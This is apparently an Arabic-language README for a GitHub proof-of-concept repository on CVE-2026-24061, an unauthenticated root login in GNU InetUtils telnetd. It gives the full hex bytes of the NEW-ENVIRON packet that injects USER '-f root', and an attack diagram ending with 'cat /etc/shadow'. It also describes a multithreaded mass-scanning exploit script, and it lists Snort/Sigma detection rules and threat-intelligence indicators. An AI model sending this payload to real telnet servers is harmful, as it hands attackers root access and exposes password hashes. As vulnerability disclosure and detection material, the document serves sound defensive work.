
GNU InetUtils telnetd - وصول جذر عن بُعد غير مصادق عبر حقن متغير NEW-ENVIRON.
GNU InetUtils telnetd - وصول جذر عن بُعد غير مصادق عبر حقن متغير NEW-ENVIRON
نظرة عامة - تحليل تقني - الإصدارات المتأثرة - الاستخدام - المعالجة والتخفيف - المراجع
CVE-2026-24061 هي ثغرة حرجة في تجاوز المصادقة في خدمة telnetd الموزعة كجزء من GNU InetUtils. يكمن الخلل في معالجة خيار Telnet NEW-ENVIRON (RFC 1572) أثناء المصافحة الأولية للبروتوكول.
السبب الجذري هو الفشل في تنقية متغيرات البيئة المقدمة من العميل قبل تمريرها إلى برنامج login(1). عندما يستقبل خادم Telnet حزمة تفاوض فرعي NEW-ENVIRON IS تحتوي على المتغير USER بقيمة -f root، فإنه يمرر هذه القيمة غير المنقاة مباشرة إلى ثنائي login في النظام.
على الأنظمة التي يقبل فيها login علامة -f (فرض تسجيل الدخول دون التحقق من كلمة المرور)، ينتج عن ذلك منح جلسة جذر غير مصادقة للمهاجم عن بُعد.
لهذه الفئة من الثغرات سابقة تاريخية: CVE-2001-0797 في SysV telnetd وثغرة تجاوز -f المعروفة في Linux telnetd عام 1994 استغلتا نفس الفشل الأساسي في تنقية الوسائط المستمدة من البيئة والممررة إلى البرامج المميزة.
لا حاجة لأي بيانات اعتماد. لا حاجة لأي وصول مسبق. تسلسل واحد من حزم الشبكة يحقق صلاحيات الجذر.
يعالج GNU InetUtils telnetd التفاوض الفرعي NEW-ENVIRON (رمز الخيار 0x27، وفقًا لـ RFC 1572) لجمع متغيرات البيئة المقدمة من العميل. يتم تجميع هذه المتغيرات في متجه وسائط وتمريرها إلى execve(2) عند استدعاء login(1).
يتم تشغيل الثغرة على النحو التالي:
IAC DO NEW-ENVIRON، طالبًا متغيرات البيئة من العميل.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd ببناء استدعاء login كـ login -f root.login(1) علامة -f على أنها "فرض تسجيل الدخول، تخطي المصادقة" ويسجل دخول المستخدم المحدد (root) دون طلب كلمة مرور.| الخطوة | الاتجاه | بايتات Telnet (hex) | المعنى |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f rootيقبل ثنائي login(1) على العديد من أنظمة Linux علامة -f <user> لتسجيلات الدخول "المصادق عليها مسبقًا"، المستخدمة تاريخيًا بواسطة أدوات تعدد المحطات الطرفية وrlogin. عندما يبني telnetd استدعاء exec الخاص به ويفشل في إزالة الشرطات البادئة أو التحقق من السلاسل الشبيهة بالخيارات في قيم متغيرات البيئة، فإنه يمرر عن غير قصد علامات يتحكم فيها المهاجم مباشرة إلى login.
يصبح الاستدعاء الفعلي:
execve("/bin/login", ["login", "-f", "root"], envp);
Attacker Vulnerable telnetd (port 23)
| |
|------- TCP SYN (port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet banner + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd calls: login -f root] |
| |
|<------ Root shell prompt (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow contents -----|
المتطلبات الأساسية:
telnetd (منفذ TCP/23 مفتوح)inetutilslogin(1) يدعم علامة -f (قياسي في معظم توزيعات Linux)| البرنامج | الإصدارات المتأثرة | الحالة |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (الإصدار المصحح المحدد سيُعلن لاحقًا) | ضعيف |
| التوزيعات التي تشحن GNU inetutils غير مصحح | متعدد | راجع نشرة البائع |
تحقق مما إذا كانت توزيعتك تشحن إصدارًا مصححًا. العديد من الأنظمة الحديثة لديها Telnet معطل افتراضيًا؛ يتطلب التعرض تشغيل
telnetdبشكل صريح.
| المقياس | القيمة |
|---|---|
| درجة CVSS v3.1 الأساسية | 9.8 (حرجة) |
| متجه الهجوم | شبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | غير متغير |
| تأثير السرية | عالي |
| تأثير السلامة | عالي |
| تأثير التوفر | عالي |
| سلسلة المتجه | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| معرف ATT&CK | التكتيك | التقنية | الصلة |
|---|---|---|---|
| T1190 | الوصول الأولي | استغلال تطبيق مواجه للعام | استغلال مباشر لـ telnetd عبر الشبكة |
| T1059 | التنفيذ | مترجم الأوامر والبرمجة النصية | تنفيذ الصدفة بعد الاستغلال |
| T1078.004 | تصعيد الصلاحيات / مراوغة الدفاع | حسابات صالحة: حسابات محلية | تجاوز المصادقة ينتج جلسة جذر صالحة |
| T1548 | تصعيد الصلاحيات | إساءة استخدام آلية التحكم في الارتقاء | إساءة استخدام علامة login -f لتجاوز PAM/المصادقة |
| T1046 | الاكتشاف | اكتشاف خدمات الشبكة | مكون المسح الجماعي في الإثبات البرهاني |
المتطلبات: Python 3 (المكتبة القياسية فقط، صفر تبعيات خارجية).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
لا حاجة لـ pip install. يستخدم كلا السكربتين مكتبة Python القياسية فقط.
poc_cve_2026_24061.py # إثبات برهاني بسيط (~100 سطر) - فهم الثغرة
cve_2026_24061.py # استغلال صناعي - متعدد الخيوط، CIDR، تصدير CSV/JSON
scripts/
generate_signatures.py # توليد تلقائي لقواعد Snort/Suricata + Sigma من الحمولة
generate_misp_event.py # توليد حدث JSON قابل للاستيراد في MISP
generate_stix_bundle.py # توليد حزمة STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
snort.rules # قواعد كشف Snort/Suricata (مولدة تلقائيًا)
sigma.yml # قاعدة Sigma لنظام SIEM (مولدة تلقائيًا)
indicators/
misp_event.json # حدث MISP - استيراد عبر Events > Add Event > Import
stix_bundle.json # حزمة STIX 2.1 - 11 كائنًا (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: الحد الأدنى، قابل للقراءة، تعليمي. هدف واحد، دالة واحدة، صفر تجريد. اقرأ هذا لفهم كيفية عمل الثغرة بالضبط على مستوى البروتوكول.cve_2026_24061.py: استغلال صناعي لمهام اختبار الاختراق. متعدد الخيوط، يدعم نطاقات CIDR، إدخال ملفات، تصدير CSV/JSON، وضع هادئ، مستخدمين مخصصين.استغلال مضيف واحد. الكود بسيط عمدًا بحيث يمكنك قراءته من البداية إلى النهاية وفهم سلسلة الهجوم الكاملة.